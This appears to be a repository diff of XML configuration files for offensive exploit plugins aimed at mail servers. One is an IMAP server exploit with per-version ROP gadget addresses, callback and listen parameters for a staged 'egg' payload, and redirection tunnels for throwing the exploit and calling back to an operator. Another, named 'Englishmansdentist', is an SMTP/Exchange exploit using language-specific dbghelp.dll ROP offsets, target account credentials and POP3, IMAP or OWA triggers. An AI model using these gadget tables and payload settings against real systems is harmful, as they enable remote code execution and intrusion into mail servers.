<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a001</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305c</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041d5a7</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042cbec</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x100aa91d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x606f6ee4</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x600fa694</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429a6c</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050A7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050AF</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413E78</value>
</parameter>
</paramgroup>
<paramgroup name="7.0.1" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042Af00</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041D5A7</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042CBEC</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x100AA91D</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x606F9364</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x600FA6D4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429A6C</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050A7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050AF</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413E78</value>
</parameter>
</paramgroup>
<paramgroup name="7.0.2" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042A001</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041D5A7</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042CB58</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x100AAADD</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60709A24</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x600F8E54</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429A6C</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050A7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x6001FAC1</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413E78</value>
</parameter>
</paramgroup>
<paramgroup name="7.0.3" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042A091</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041D637</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042CBE8</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x100AA9ED</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x6071E614</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x600F87E4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429AFC</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050B7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050BF</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413F08</value>
</parameter>
</paramgroup>
<paramgroup name="7.0.3FP1" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042A091</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041D637</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042CBE8</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x100AA9ED</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x6071e674</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x600f8824</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429AFC</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050B7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050BF</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413F08</value>
</parameter>
</paramgroup>
<paramgroup name="7.0.4" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042A271</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041d817</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042cdde</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x100a9e3d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60728db4</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x60150da4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429cdc</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x00405107</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x0040510f</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413f98</value>
</parameter>
</paramgroup>
<paramgroup name="8.0" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x00429fa1</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043205c</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041d567</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042caf8</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60aa7dab</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60764914</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x60153b14</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429a12</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x00405067</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x0040506f</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413cd8</value>
</parameter>
</paramgroup>
<paramgroup name="8.0.1" description="">
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a001</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043205c</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041d5c7</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042cb58</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60abf84b</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60772714</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x601549d4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429a72</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050b7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050bf</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413d38</value>
</parameter>
</paramgroup>
<paramgroup name="8.0.2" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a001</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043205c</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041d5c7</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042cb58</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60Ace7ab</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x6077a774</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x600f9b04</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429a72</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050b7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050bf</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00413d38</value>
</parameter>
</paramgroup>
<paramgroup name="8.5" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a361</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305c</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0042d17a</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042ceb8</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60b8de5b</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x606068f8</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x600f37c4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x00429dd4</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050b7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050bf</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x00414068</value>
</parameter>
</paramgroup>
<paramgroup name="8.5.1" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042b5d0</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041db67</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042d4a0</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x620aa96d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60630e48</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6015db64</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x42a146</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x4050a7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x4050af</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x4140c8</value>
</parameter>
</paramgroup>
<paramgroup name="8.5.1FP1" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a831</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0042e761</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042d388</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x620aa96d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x606311b8</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6015dbd4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x0042a2a6</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050a7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050af</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x0041413c</value>
</parameter>
</paramgroup>
<paramgroup name="8.5.1FP2" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a831</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0042e761</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042d388</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x620aa96d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60631f08</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6015d2d4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x0042a2a6</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050a7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050af</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x0041413c</value>
</parameter>
</paramgroup>
<paramgroup name="8.5.1FP3" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a831</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0042e761</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042d388</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x620aa96d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60631058</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6015c0c4</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x0042a2a6</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050a7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050af</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x0041413c</value>
</parameter>
</paramgroup>
<paramgroup name="8.5.1FP4" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a7d1</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041dc67</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042d328</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x620aa96d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60631328</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6015c284</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x0042a240</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050a7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050af</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x004140dc</value>
</parameter>
</paramgroup>
<paramgroup name="8.5.1FP5" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042a7d1</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041dc67</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042d328</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x620aa96d</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60631a78</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6015c654</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x0042a240</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x004050a7</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x004050af</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x004140dc</value>
</parameter>
</paramgroup>
<paramgroup name="8.5.2" description="">
<!-- Find non-nIMAP.exe offsets -->
<parameter name="ReturnAddrOffset" description="" type="U32" hidden="true" >
<value>0x22C</value>
</parameter>
<parameter name="AddrPopEax" description="" type="U32" hidden="true" >
<value>0x0042AA81</value>
</parameter>
<parameter name="AddrVirtualAlloc" description="" type="U32" hidden="true" >
<value>0x0043305C</value>
</parameter>
<parameter name="AddrJmpEaxPtr" description="" type="U32" hidden="true" >
<value>0x0041DF07</value>
</parameter>
<parameter name="AddrPopEdi" description="" type="U32" hidden="true" >
<value>0x0042D66C</value>
</parameter>
<parameter name="AddrEaxToEsi" description="" type="U32" hidden="true" >
<value>0x60DDE56B</value>
</parameter>
<parameter name="AddrCopyCode" description="" type="U32" hidden="true" >
<value>0x60692948</value>
</parameter>
<parameter name="AddrIncEax" description="" type="U32" hidden="true" >
<value>0x6014a394</value>
</parameter>
<parameter name="AddrJmpEax" description="" type="U32" hidden="true" >
<value>0x0042A4F2</value>
</parameter>
<parameter name="AddrSetAtEdxRet" description="" type="U32" hidden="true" >
<value>0x00405227</value>
</parameter>
<parameter name="AddrClrEaxRet" description="" type="U32" hidden="true" >
<value>0x0040522F</value>
</parameter>
<parameter name="RetEip" description="" type="U32" hidden="true" >
<value>0x004142AC</value>
</parameter>
</paramgroup>
</paramchoice>
<!-- All plugins that accept a callback must have the Callback* parameters listed below, or their equivalents. -->
<!-- Callback/Callin parameters -->
<paramchoice name="Direction" description="Callback from target or Callin to target">
<default>Callback</default>
<paramgroup name="Callback" description="Target calls back to plugin">
<parameter name="CallbackIp" description="Callback IP address" type="IPv4"/>
<parameter name="CallbackPort" description="Callback port" type="TcpPort" >
<default>0</default>
</parameter>
<parameter name="CallbackLocalPort" description="Local callback port" type="TcpPort" required="false"/>
</paramgroup>
<paramgroup name="Callin" description="Target waits for call from plugin">
<parameter name="ListenPort" description="Port the egg will listen on" type="TcpPort"/>
<parameter name="ListenLocalPort" description="Port we connect to" type="TcpPort" required ="false"/>
<parameter name="ListenWait" description="Timeout to wait before trying to connect in." type="S16">
<default>10</default>
</parameter>
</paramgroup>
</paramchoice>
</inputparameters>
<outputparameters>
<paramchoice name="Contract"
description="The contract fulfilled by this plugin">
<value>StagedUpload</value>
<paramgroup name="StagedUpload" description="">
<parameter name="ConnectedTcp"
description="The connected socket"
type="Socket"/>
<parameter name="XorMask"
description="Masking byte"
type="U8"/>
</paramgroup>
</paramchoice>
</outputparameters>
<redirection>
<!-- This is the tunnel used when we're "throwing" the exploit from the ROC -->
<local
protocol="Tcp"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="TargetIp"
destport="TargetPort"
closeoncompletion="true"/>
<!-- This is the tunnel used when we're "calling in" from the ROC to the exploited machine -->
<local
protocol="Tcp"
listenaddr="TargetIp"
listenport="ListenLocalPort"
destaddr="TargetIp"
destport="ListenPort"
closeoncompletion="false"/>
<!-- This is the tunnel we use when the exploit, after completing, "calls back" to the ROC -->
<remote
protocol="Tcp"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</redirection>
<logic>
<service name="imap">
<bindtopath name="TargetPort" path="//service[name='imap']/port"/>
</service>
<bindtopath name="TargetIp" path="//identifier"/>
</logic>
</config>

Binary file not shown.

View file

@ -0,0 +1,7 @@
<?xml version="1.0"?>
<t:config id="0a9ec8318c0f544ba84f56df2e5e3c278844f5bf"
name="Emphasismine"
version="3.4.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
</t:config>

View file

@ -0,0 +1,8 @@
<?xml version="1.0"?>
<t:config id="2f4f9295a93af5a5e72580a71fc3832efd6cbdf1"
name="Englishmansdentist"
version="1.2.0"
configversion="1.2.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
</t:config>

View file

@ -0,0 +1,137 @@
<?xml version="1.0"?>
<t:config id="2f4f9295a93af5a5e72580a71fc3832efd6cbdf1"
name="Englishmansdentist"
version="1.2.0"
configversion="1.2.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<!-- All plugins that accept a callback must have the Callback* parameters
listed below, or their equivalents. -->
<t:parameter name="TargetIp" description="Target IP Address" type="IPv4"/>
<t:parameter name="TargetPort" description="Target SMTP Mail Port to send email (typically 25)" type="TcpPort" default="25"/>
<!-- Add TargetEmailAddressValue, EmailSubjectValue, EmailFromAddressValue, EmailBodyValue back in -->
<t:parameter name="TargetEmailAddressValue" type="String" description="Target Email Address"/>
<t:parameter name="EmailSubjectValue" type="String" description="Email Subject (make unique for later email deletion)"/>
<t:parameter name="EmailFromAddressValue" type="String" description="Email From Address" default=""/>
<t:parameter name="EmailBodyValue" type="String" description="Email Body" default=""/>
<!-- Now using dbghelp.dll base addresses which are language dependent -->
<t:paramchoice name="Language" description="Target OS Language">
<t:paramgroup name="English" description="English OS Language">
<t:parameter name="DBGHELP" description="" type="U32" value="0x6d580000" hidden="true"/>
<t:parameter name="OLECNV32" description="" type="U32" value="0x71db0000" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="German" description="German OS Language">
<t:parameter name="DBGHELP" description="" type="U32" value="0x6d790000" hidden="true"/>
<t:parameter name="OLECNV32" description="" type="U32" value="0x71bc0000" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="Korean" description="Korean OS Language">
<t:parameter name="DBGHELP" description="" type="U32" value="0x6d8e0000" hidden="true"/>
<t:parameter name="OLECNV32" description="" type="U32" value="0x71c50000" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="Simplified_Chinese" description="Simplified Chinese OS Language">
<t:parameter name="DBGHELP" description="" type="U32" value="0x6d830000" hidden="true"/>
<t:parameter name="OLECNV32" description="" type="U32" value="0x71d00000" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="Traditional_Chinese" description="Traditional Chinese OS Language">
<t:parameter name="DBGHELP" description="" type="U32" value="0x6d840000" hidden="true"/>
<t:parameter name="OLECNV32" description="" type="U32" value="0x71d10000" hidden="true"/>
</t:paramgroup>
</t:paramchoice>
<!-- Added next set of parameters outside of TargetExch since exchange version no longer matters -->
<t:parameter name="dbghelp_return_01a0" description="" type="U32" value="0x00081cfd" hidden="true"/>
<t:parameter name="dbghelp_virtual_alloc" description="" type="U32" value="0x00001104" hidden="true"/>
<t:parameter name="dbghelp_pop_into_ecx" description="" type="U32" value="0x00019568" hidden="true"/>
<t:parameter name="dbghelp_pop_into_esi" description="" type="U32" value="0x00013b71" hidden="true"/>
<t:parameter name="dbghelp_mov_ptrecx_to_eax_ret" description="" type="U32" value="0x0005c464" hidden="true"/>
<t:parameter name="dbghelp_mov_ecx_to_ptreax_ret8" description="" type="U32" value="0x00063f8b" hidden="true"/>
<t:parameter name="dbghelp_jmp_eax" description="" type="U32" value="0x0002f71d" hidden="true"/>
<t:parameter name="CallbackIp" description="Callback IP Address" type="IPv4"/>
<t:parameter name="CallbackPort" description="Callback Port" type="TcpPort" default="0"/>
<!-- Added CallbackLocalPort for redirection -->
<t:parameter name="CallbackLocalPort" description="Local Callback Port" type="TcpPort" required="false"/>
<t:parameter name="NetworkTimeout" description="Network Timeout (seconds). Use -1 for no timeout." type="S16" default="60"/>
<!-- Added parameters independent of auth mode since everything must be authenticated -->
<t:parameter name="TargetUserName" description="Username of Target Email Account" type="String"/>
<t:parameter name="TargetUserPassword" description="Password of Target Email Account" type="String"/>
<t:paramchoice name="MailCheckProtocol" description="Protocol to Trigger Target's Exploited Email">
<t:paramgroup name="POP3" description="">
<t:parameter name="MailCheckPort" description="Target POP3 Port" type="TcpPort" default="110"/>
</t:paramgroup>
<t:paramgroup name="IMAP" description="">
<t:parameter name="MailCheckPort" description="Target IMAP Port" type="TcpPort" default="143"/>
</t:paramgroup>
<!-- Parameters for OWA -->
<t:paramgroup name="OWA" description="">
<t:paramchoice name="OWAMode" description="Protocol to Trigger Target's OWA mail" default="HTTPS">
<t:paramgroup name="HTTP" description="Use HTTP only for OWA">
<t:parameter name="MailCheckPort" description="Target OWA Port" type="TcpPort" default="80"/>
</t:paramgroup>
<t:paramgroup name="HTTPS" description="Use HTTPS only for OWA">
<t:parameter name="MailCheckPort" description="Target OWA Port" type="TcpPort" default="443"/>
</t:paramgroup>
</t:paramchoice>
<t:parameter name="OWADelay"
description="Delay in milliseconds between each OWA HTTP request"
type="S16"
default="3000"/>
</t:paramgroup>
</t:paramchoice>
<t:parameter name="AuthCode" description="Egg Authentication Code (typically, don't change)" type="U32" default="0"/>
</t:inputparameters>
<t:outputparameters>
<t:parameter name="Contract"
description="Contract Fulfilled by This Plugin"
type="String"
value="StagedUpload"/>
<!-- Added next three parameters per Jake -->
<t:parameter name="XorMask"
description=""
type="U8"/>
<t:parameter name="ConnectedTcp"
description="Connected TCP Socket to Target"
type="Socket"/>
<t:parameter name="AuthCode"
description="Egg Authentication Code"
type="U32"/>
</t:outputparameters>
<t:redirection>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="//service[name='smtp']/port"
closeoncompletion="true"/>
<t:local protocol="TCP"
